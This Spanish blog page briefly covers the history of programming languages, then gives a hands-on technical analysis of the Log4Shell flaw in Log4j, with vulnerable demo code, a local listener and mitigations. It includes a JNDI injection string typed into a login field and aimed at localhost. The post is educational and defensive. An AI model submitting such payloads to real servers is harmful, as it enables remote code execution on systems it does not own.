Y eso creo el primer problema del mantenimiento del software; el software era muy difícil de mantener y cuando lo mantenías para cambiar algo las posibilidades de que estropearas algo era extremadamente grande. Hacer software cada vez más complejo y que pudieran cambiarse y modificarse según las necesidades de un negocio, era menos que imposible.

Por eso se crearon nuevos paradigmas y lenguajes cuyo principal atractivo era que son fáciles de mantener, así surgió los paradigmas estructuramos, modular y finalmente orientado a objetos.

Pero las necesidades seguían evolucionando, mientras que antes podrías hacer un sistema en modo texto que resolviera para todas las necesidades de un negocio, ahora se necesitaban que fuera gráfico para simplificar su uso o que este interconectado entre sí y con otros sistemas.

Así nacieron cosas como las bases de datos, las interfaces graficas y la programación orientada a eventos.

Debido a que los sistemas seguían siendo cada vez más complejos surgieron lenguajes cada vez más específicos llamados DSL, lenguajes específicos del domino, que son lenguajes que no tienen un propósito general y están creados para resolver un problema en particular, los más conocidos (y usados) son SQL para generar consultas a base de datos y HTML (y relacionados como CSS) para ofrecer información a través de un navegador web.

También surgieron lenguajes que aunque pudieran ser generales tiene una "especialización", hacia algún lado, PHP para desarrollo web, Java (actualmente) y C# para el desarrollo empresarial, y así.

La constante en todo esto es que las necesidades de desarrollo de software cada vez son más y deben ser resueltas de forma más rápida y los productos que se crean para resolver estás necesidades deben ser adaptables de forma sencillas.

Lo anterior hace que los lenguajes evolucionen buscando ser más abstractos y fáciles de mantener e independientes de las máquinas dónde se ejecutan y por otro lado se crean nuevos lenguajes especializados que aprovechan las capacidades de cada profesional, como la separación de las tecnologías de frontend o backend, o el desarrollo de aplicaciones móviles o de servicios.


Puedes leer los siguientes enlaces donde se habla más de estos motivos e históricamente de la evolución de los lenguajes de programación.


Y particularmente este


Si te ha gustado la entrada, ¡Compártela! ;-)

sábado, 5 de febrero de 2022

Análisis técnico de la vulnerabilidad Log4Shell


Log4Shell fue (¿es?) una vulnerabilidad descubierta a finales de noviembre del 2021 (CVE-2021-44228) por la que un atacante podría ejecutar código malicioso dentro de un servidor ajeno de una forma extremadamente simple y que casi puso internet patas arriba. Vamos a analizar el tema técnicamente.

Recursos para este artículo


Puedes encontrar el código fuente de todo el artículo en:


Puedes encontrar las versiones vulnerables de Log4J en:


Y la última versión no vulnerable en:


Descárgate el código de ejemplo, y descomprime los zips descargados en la carpeta src, de la siguiente forma:


¿Qué es Log4j?


Apache Log4j es una librería de código abierto muy popular para logs en java. Es extremadamente versátil y escalable.

Entiéndase como logs, el registro de mensajes o sucesos de los que se quiere dejar una constancia tal como si fuera una bitácora. Para ellos se puede usar Apache Log4j.

De forma muy sencilla se indica al Log4J que debe guardar el evento, que entre otros podría ser un error, una advertencia, o un mensaje informativo. El evento o mensaje a guardar es transformado (en caso de ser necesario) y almacenado en un repositorio.

El cómo es transformado nuestro mensaje y cuál es el repositorio donde va a ser guardado es algo que se puede elegir por configuración y que es totalmente ajeno a nuestro programa. El repositorio pudiera ser:

  • La misma consola (es decir el mensaje se muestra por consola).
  • Un archivo de texto.
  • Una base de datos.
  • Un correo electrónico.
  • Incluso podría ser un WebService.
  • O cualquier cosa que se nos ocurra a futuro.

Aquí hay una se las principales ventajas de la arquitectura del Log4J. Nuestros sistemas desconocen (y no tienen que preocuparse) acerca de cómo y dónde se van a guardar nuestras bitácoras ya que esto se puede configura fuera de manera externa.

Hay una separación clara del negocio que resuelve nuestra aplicación, y de aspectos técnicos, en cierta manera “intrascendentes” sobre cómo y donde se guardan nuestros logs, lo cual es lo ideal en un desarrollo empresarial de software.

Veamos un ejemplo de cómo funciona esto:

Log4ShellEjemplo1.java
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Log4ShellEjemplo1 {
 
    public static void main(String[] args) {
 
        //Creola clase encargada de las bitacoras
        Logger logger = LogManager.getLogger(Log4ShellEjemplo1.class);
 
        //Creo la clase para leer stdin
        Scanner in = new Scanner(System.in);
 
        //Presetacion de la aplicación
        System.out.println("Bienvenido a la aplicacion, por favor indique su usuario.");
        System.out.println();
 
        //Solictud de usuario
        System.out.print("Usuario: ");
        String usuario = in.nextLine();
 
        // ....
 
        //Se avisa que el usuario no es correcto y se guarda un evento en la bitacora
        System.out.println("Su usuario es incorrecto.");
        logger.error("El usuario '%s' es incorrecto.".formatted(usuario));
 
    }
}
 
 
public class Log4ShellEjemplo1 {

    public static void main(String[] args) {

        //Creola clase encargada de las bitacoras
        Logger logger = LogManager.getLogger(Log4ShellEjemplo1.class);

        //Creo la clase para leer stdin
        Scanner in = new Scanner(System.in);

        //Presetacion de la aplicación
        System.out.println("Bienvenido a la aplicacion, por favor indique su usuario.");
        System.out.println();

        //Solictud de usuario
        System.out.print("Usuario: ");
        String usuario = in.nextLine();

        // ....

        //Se avisa que el usuario no es correcto y se guarda un evento en la bitacora
        System.out.println("Su usuario es incorrecto.");
        logger.error("El usuario '%s' es incorrecto.".formatted(usuario));

    }
}
Log4ShellEjemplo1.cmd
 
1
2
3
4
5
6
7
8
@ECHO OFF
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java Log4ShellEjemplo1.java
PAUSE
 
 
@ECHO OFF

REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java Log4ShellEjemplo1.java
PAUSE

En el ejemplo anterior se da la bienvenida a una aplicación y se pide un usuario para acceder, se indica que dicho usuario es incorrecto, y se guarda el suceso por medio de Log4J.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Desde las horas extras

Su usuario es incorrecto.

19:32:27.246 [main] ERROR Log4ShellEjemplo1 - El usuario 'Desde las horas extras' es incorrecto.

Presione una tecla para continuar . . .

Sin ninguna configuración por defecto, el “repositorio” para guarda los registros en la misma pantalla (es decir que simplemente se imprimirá el mensaje).

Ahora vamos agregar un archivo de configuración para que en lugar de mostrar la bitácora por pantalla, lo guarde en un archivo de texto (Log4ShellEjemplo2.log), lo que sería mucho más común:

Log4ShellEjemplo2.cmd
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
status = error
name = Log4j2PropertiesConfig
 
appenders = file
 
appender.file.type = File
appender.file.name = FileLogger
appender.file.filename = Log4ShellEjemplo2.log
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d [%t] %-5p %c - %m%n
 
rootLogger.level = debug
rootLogger.appenderRefs = file
rootLogger.appenderRef.file.ref = FileLogger
 
 
status = error
name = Log4j2PropertiesConfig

appenders = file

appender.file.type = File
appender.file.name = FileLogger
appender.file.filename = Log4ShellEjemplo2.log
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d [%t] %-5p %c - %m%n

rootLogger.level = debug
rootLogger.appenderRefs = file
rootLogger.appenderRef.file.ref = FileLogger
Log4ShellEjemplo2.properties
 
1
2
3
4
5
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j.configurationFile=Log4ShellEjemplo2.properties Log4ShellEjemplo1.java
 
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j.configurationFile=Log4ShellEjemplo2.properties Log4ShellEjemplo1.java

Vemos como no hemos tenido que modificar código para modificar esta funcionalidad, simplemente hemos realizado una configuración.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Desde las horas extras

Su usuario es incorrecto.

Presione una tecla para continuar . . .


Por comodidad, seguiremos trabajando con el ejemplo uno y revisaremos los resultados por pantalla.

Uso de Lookups


Los Lookups son una caracterista de Log4J que permite sustituir ciertos valores en el mensaje indicado, por valores almacenados en memoria o obtenidos al vuelo al momento de realizar el log.

Por ejemplo si quisiera guardar el runtime de java podría usar el siguiente Lookup {java:runtime} o si quisiera la versión del sistema operativo pudiera usar esta {java:os}

Veamos esto funcionando, en el lugar de nuestro usuario vamos a poner la siguiente cadena Nuestro usuario es ${java:os}

En la salida del programa se ve la versión del sistema operativo.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Nuestro usuario es ${java:os}

Su usuario es incorrecto.

20:11:23.595 [main] ERROR Log4ShellEjemplo1 - El usuario 'Nuestro usuario es Windows 10 10.0, architecture: amd64-64' es incorrecto.

Presione una tecla para continuar . . .

Parece raro o poco conveniente, que un valor introducido por un usuario modifique lo que se va guardar en el lo g , aunque se podría alegar que de todas formas dicho valor o modificación se guarda en los medios que dispone la aplicación para tal efecto.

Pero los Lookups , son mucho más avanzados, pueden por ejemplo obtener el valor de a escribir en el log mediante HTTP, LDAP o RMI (entre otros) es decir mediante una conexión externa a equipos

Preparación para estudiar la vulnerabilidad


Para entender de manera segura la vulnerabilidad, se creó un simple programa servidor en java, que lo único que hace es esperar una conexiones y mostrar lo que se envié por pantalla.

SimpleJavaServer.java
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) {
 
   //Reviso el puerto
   if (args.length < 1) {
     System.out.println("Debe especificar el puerto.");
     return;
   }
   int port = Integer.parseInt(args[0]);
 
   //Abro el sockect de escucha
   try (ServerSocket serverSocket = new ServerSocket(port)) {
 
     while (true) {
 
       //Quedo en espera
       System.out.println("Escuchando en el puerto " + port + ".");
       Socket socket = serverSocket.accept();
       System.out.println("Cliente conectado\n");
 
       //Creo el buffer de lectura
       InputStream input = socket.getInputStream();
       int buffSize = socket.getReceiveBufferSize();
       byte[] bytes = new byte[buffSize];
 
       //Leo los datos y cierro la conexiones
       int count = input.read(bytes);
       System.out.write(bytes, 0, count);
       socket.close();
       System.out.println();
        
     }
 
   } catch (IOException ex) {
     System.out.println("Server exception: " + ex.getMessage());
     ex.printStackTrace();
   }
 }
 
 
public static void main(String[] args) {

   //Reviso el puerto
   if (args.length < 1) {
     System.out.println("Debe especificar el puerto.");
     return;
   }
   int port = Integer.parseInt(args[0]);

   //Abro el sockect de escucha
   try (ServerSocket serverSocket = new ServerSocket(port)) {

     while (true) {

       //Quedo en espera
       System.out.println("Escuchando en el puerto " + port + ".");
       Socket socket = serverSocket.accept();
       System.out.println("Cliente conectado\n");

       //Creo el buffer de lectura
       InputStream input = socket.getInputStream();
       int buffSize = socket.getReceiveBufferSize();
       byte[] bytes = new byte[buffSize];

       //Leo los datos y cierro la conexiones
       int count = input.read(bytes);
       System.out.write(bytes, 0, count);
       socket.close();
       System.out.println();
       
     }

   } catch (IOException ex) {
     System.out.println("Server exception: " + ex.getMessage());
     ex.printStackTrace();
   }
 }
SimpleJavaServer.cmd
 
1
2
3
REM Ejecuto el ejemplo.
java SimpleJavaServer.java 8888
PAUSE
 
 
REM Ejecuto el ejemplo.
java SimpleJavaServer.java 8888
PAUSE

Si hacemos una petición en nuestro navegador a http://127.0.0.1:8888/ejemplo obtendremos el siguiente resultado.

Escuchando en el puerto 8888.
Cliente conectado
GET /ejemplo HTTP/1.1
Host: 127.0.0.1:8888
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: es-US,es-419;q=0.9,es;q=0.8,en;q=0.7

Explicación de la vulnerabilidad


Lo grave de la vulnerabilidad Log4Shell, es poder ejecutar código en el sistema que está usando el log , es decir en un servidor web que será víctima de un ataque, de una forma bastante simple.

Esto se consigue usando protocolos como LDAP o RMI:

  • LDAP: Ofrece una organización estructurada de objetos, a la que se puede realizar consultas, muy utilizado empresarialmente.
  • RMI: Es un protocolo para ejecución y acceso a código remoto en Java.

Ambos permiten exportar una clase de java, que se instancian y ejecutara en una maquina ajena que lo solicite. Es decir si por ejemplo guardamos un log de la siguiente forma (con una versión log4j vulnerable):

Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Se conecta al servidor 127.0.0.1 y descarga una clase Java posiblemente maliciosa que ejecutar en el contexto de la aplicación (el servidor web en casi todo el caso). Específicamente ejecutará el código ToString() de la c lase maliciosa , para intentar obtener una cadena de texto que guardar en el log. En dicho ToString() estará el código que se ejecutará en el servidor.


Veamos nuestro ejemplo y como ciertamente se intenta conectar al servidor (omitimos la parte del envío y la creación de la clase maliciosa):

  • Iniciamos SimpleJavaServer.cmd
  • Iniciamos Log4ShellEjemplo1.java
Utilizamos la cadena Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Ejecución de Log4ShellEjemplo1

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Su usuario es incorrecto.

20:59:47.680 [main] ERROR Log4ShellEjemplo1 - El usuario 'Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}' es incorrecto.

Presione una tecla para continuar . . .

Resultado en SimpleJavaServer


Vemosque efectivamente se conecta y hace una petición (la cadena de texto no es sustitutiva ni ejecutada por qué en el ejemplo no se devuelve una clase maliciosa)

Los caracteres extraños que se muestran es parte de la petición ldap, como no hay una respuesta satisfactoria (por parte del programa de pruebas) se cierra la conexión.

Actualización a versiones no vulnerables


Las versiones vulnerable son desde la versión2.0 a la2.14.x , en la versión2.15 la funcionalidad esta deshabilitada por defecto y en la2.16 la funcionalidad se removió completamente.

Hay que considerar que esta vulnerabilidad afecta a versiones de log4j para Java, con lo que tenemos que tener (en ejecución) algún sistema java, como una servidor o aplicación web con aplicaciones en Java, que use las versiones vulnerables.

Otros frameworks para guardar logs, o en otras tecnologías (como NLog), no son vulnerables por esta circunstancia específica (aunque pueden tener otras vulnerabilidades específicas o no descubiertas que nada tienen que ver con ese tema).

¿Cómo se mitiga el efecto?


La forma más segura de mitigar el efecto es actualizar nuestro software a versiones que no son vulnerables.

Si esto no es posible, se puede deshabilitar la funcionalidad de Lookups, al configurar la máquina virtual de java con el siguiente parámetro.

-Dlog4j2.formatMsgNoLookups=true

Log4ShellEjemplo3.cmd
 
1
2
3
4
5
6
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE
 
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE

Otra forma de mitigar el efecto, si la actualización no es posible, es descomprimir el jar de log4j, borrar la clase JndiLookup.class y volver a generar el jar.

Ejemplo con versiones no vulnerables


Log4ShellEjemplo4.cmd
 
1
2
3
4
5
6
REM CLASSPATH con las versiones no vulnerables.
SET CLASSPATH=apache-log4j-2.17.1-bin\log4j-core-2.17.1.jar;apache-log4j-2.17.1-bin\log4j-api-2.17.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE
 
 
REM CLASSPATH con las versiones no vulnerables.
SET CLASSPATH=apache-log4j-2.17.1-bin\log4j-core-2.17.1.jar;apache-log4j-2.17.1-bin\log4j-api-2.17.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE

Conclusiones finales


Esta vulnerabilidad fue especialmente peligrosa por dos motivos :

  • La cantidad de sitios creados en Java, y que usan log4j es inmensa, además que s on máquinas que forzosamente están conectadas a internet.
  • El modelo de distribución de componentes y aplicaciones en java (basado en jar y parecidos), a diferencia del modelo clásico de librerías comunes, es difícil de actualizar . Frecuentemente se distribuyen todas las dependencias (como log4j) como parte de la aplicación final y esto implicaría que puede estar muchas veces duplicado en una mism a máquina y su sustitución no es fácil (si hay que hacerla de forma inmediata, como este caso).

Hay que considerar que uno de los problemas de esta vulnerabilidad es que ofrece una funcionalidad que estaba activada por defecto y que además permitía salir por defecto a obtener información de otras máquinas, sin ninguna restricción aparente. Puede que esta funcionalidad fuera interesante, y puede que hasta conveniente en algunos casos particulares, pero el hecho de no estar restringido desde un momento, es lo que lo hace demasiado ingenua. Recordemos que nuestra seguridad y nuestro diseño debe estar pensando como una “lista blanca”, en lugar de una “lista negra” (es decir nuestro diseños de seguridad se deben basar en habilitar funcionalidad y permisos explícitamente y no en negarlos explícitamente)




Si te ha gustado la entrada, ¡Compártela! ;-)